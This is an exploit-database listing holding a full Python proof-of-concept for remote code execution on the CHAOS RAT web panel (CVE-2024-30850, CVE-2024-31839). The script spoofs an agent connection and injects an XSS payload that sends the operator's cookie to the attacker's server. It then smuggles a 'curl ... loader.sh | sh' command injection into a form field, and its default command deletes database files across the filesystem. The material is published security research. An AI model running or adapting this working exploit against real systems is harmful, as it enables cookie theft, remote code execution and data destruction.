Share
## https://sploitus.com/exploit?id=1337DAY-ID-39541
# Exploit Title: CHAOS RAT v5.0.1 RCE
# Exploit Author: @_chebuya
# Software Link: https://github.com/tiagorlampert/CHAOS
# Version: v5.0.1 
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-30850, CVE-2024-31839
# Description: The CHAOS RAT web panel is vulnerable to command injection, which can be triggered from an XSS, allowing an attacker to takeover the RAT server
# Github: https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc
# Blog: https://blog.chebuya.com/posts/remote-code-execution-on-chaos-rat-via-spoofed-agents/
import time
import requests
import threading
import json
import websocket
import http.client
import argparse
import sys
import re

from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer

class Collector(BaseHTTPRequestHandler):
    def __init__(self, ip, port, target, command, video_name, *args, **kwargs):
        self.ip = ip
        self.port = port
        self.target = target
        self.shell_command = command
        self.video_name = video_name 
        super().__init__(*args, **kwargs)

    def do_GET(self):
        if self.path == "/loader.sh":
            self.send_response(200)
            self.end_headers()
            command = str.encode(self.shell_command)
            self.wfile.write(command)
        elif self.path == "/video.mp4":
            with open(self.video_name, 'rb') as f:
                self.send_response(200)
                self.send_header('Content-type', 'video/mp4')
                self.end_headers()
                self.wfile.write(f.read())
        else:
            cookie = self.path.split("=")[1]
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"")

            background_thread = threading.Thread(target=run_exploit, args=(cookie, self.target, self.ip, self.port))
            background_thread.start()

def convert_to_int_array(string):
    int_array = []
    for char in string:
        int_array.append(ord(char))
    return int_array

def extract_client_info(path):
    with open(path, 'rb') as f:
        data = str(f.read())

    address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}"
    address_pattern = re.compile(address_regexp)
    address = address_pattern.findall(data)[0].split("=")[1]

    port_regexp = r"main\.Port=\d{1,6}"
    port_pattern = re.compile(port_regexp)
    port = port_pattern.findall(data)[0].split("=")[1]

    jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*"
    jwt_pattern = re.compile(jwt_regexp)
    jwt = jwt_pattern.findall(data)[0].split("=")[1]

    return f"{address}:{port}", jwt

def keep_connection(target, cookie, hostname, username, os_name, mac, ip):

    print("Spoofing agent connection")
    headers = {
            "Cookie": f"jwt={cookie}"
    }

    while True:
        data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())}
        r = requests.get(f"http://{target}/health", headers=headers)
        r = requests.post(f"http://{target}/device", headers=headers, json=data)
        time.sleep(30)

def handle_command(target, cookie, mac, ip, port):
    print("Waiting to serve malicious command outupt")
    headers = {
        "Cookie": f"jwt={cookie}",
        "X-Client": mac
    }

    ws = websocket.WebSocket()
    ws.connect(f'ws://{target}/client', header=headers)
    while True:
        response = ws.recv()

        command = json.loads(response)['command']
        data = {"client_id": mac, "response": convert_to_int_array(f"</pre><script>var i = new Image;i.src='http://{ip}:{port}/'+document.cookie;</script><video loop controls autoplay><source src=\"http://{ip}:{port}/video.mp4\" type=\"video/mp4\"></video>"), "has_error": False}

        ws.send_binary(json.dumps(data))


def run_exploit(cookie, target, ip, port):
    print(f"Exploiting {target} with JWT {cookie}")
    conn = http.client.HTTPConnection(target)
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932',
        'Cookie': f'jwt={cookie}'
    }
    conn.request(
        'POST',
        '/generate',
        f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://localhost\'$(IFS=];b=curl]{ip}:{port}/loader.sh;$b|sh)\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',
        headers
    )

def run(ip, port, target, command, video_name):
    server_address = (ip, int(port))

    collector = partial(Collector, ip, port, target, command, video_name)
    httpd = HTTPServer(server_address, collector)
    print(f'Server running on port {ip}:{port}')
    httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    subparsers = parser.add_subparsers(dest="option")

    exploit = subparsers.add_parser("exploit")
    exploit.add_argument("-f", "--file",  help="The path to the CHAOS client")
    exploit.add_argument("-t", "--target", help="The url of the CHAOS server (127.0.0.1:8080)")
    exploit.add_argument("-c", "--command", help="The command to use", default=r"find / -name chaos.db -exec rm -f {} \;")
    exploit.add_argument("-v", "--video-name", help="The video name to use", default="rickroll.mp4")
    exploit.add_argument("-j", "--jwt", help="The JWT token to use")
    exploit.add_argument("-l", "--local-ip", help="The local IP to use for serving bash script and mp4", required=True)
    exploit.add_argument("-p", "--local-port", help="The local port to use for serving bash script and mp4", default=8000)
    exploit.add_argument("-H", "--hostname", help="The hostname to use for the spoofed client", default="DC01")
    exploit.add_argument("-u", "--username", help="The username to use for the spoofed client", default="Administrator")
    exploit.add_argument("-o", "--os", help="The OS to use for the spoofed client", default="Windows")
    exploit.add_argument("-m", "--mac", help="The MAC address to use for the spoofed client", default="3f:72:58:91:56:56")
    exploit.add_argument("-i", "--ip", help="The IP address to use for the spoofed client", default="10.0.17.12")

    extract = subparsers.add_parser("extract")
    extract.add_argument("-f", "--file", help="The path to the CHAOS client", required=True)

    args = parser.parse_args()

    if args.option == "exploit":
        if args.target != None and args.jwt != None:
            target = args.target
            jwt = args.jwt
        elif args.file != None:
            target, jwt = extract_client_info(args.file)
        else:
            exploit.print_help(sys.stderr)
            sys.exit(1)

        bg = threading.Thread(target=keep_connection, args=(target, jwt, args.hostname, args.username, args.os, args.mac, args.ip))
        bg.start()

        cmd = threading.Thread(target=handle_command, args=(target, jwt, args.mac, args.local_ip, args.local_port))
        cmd.start()

        server = threading.Thread(target=run, args=(args.local_ip, args.local_port, target, args.command, args.video_name))
        server.start()

    elif args.option == "extract":
        target, jwt = extract_client_info(args.file)
        print(f"CHAOS server: {target}\nJWT: {jwt}")
    else:
        parser.print_help(sys.stderr)
        sys.exit(1)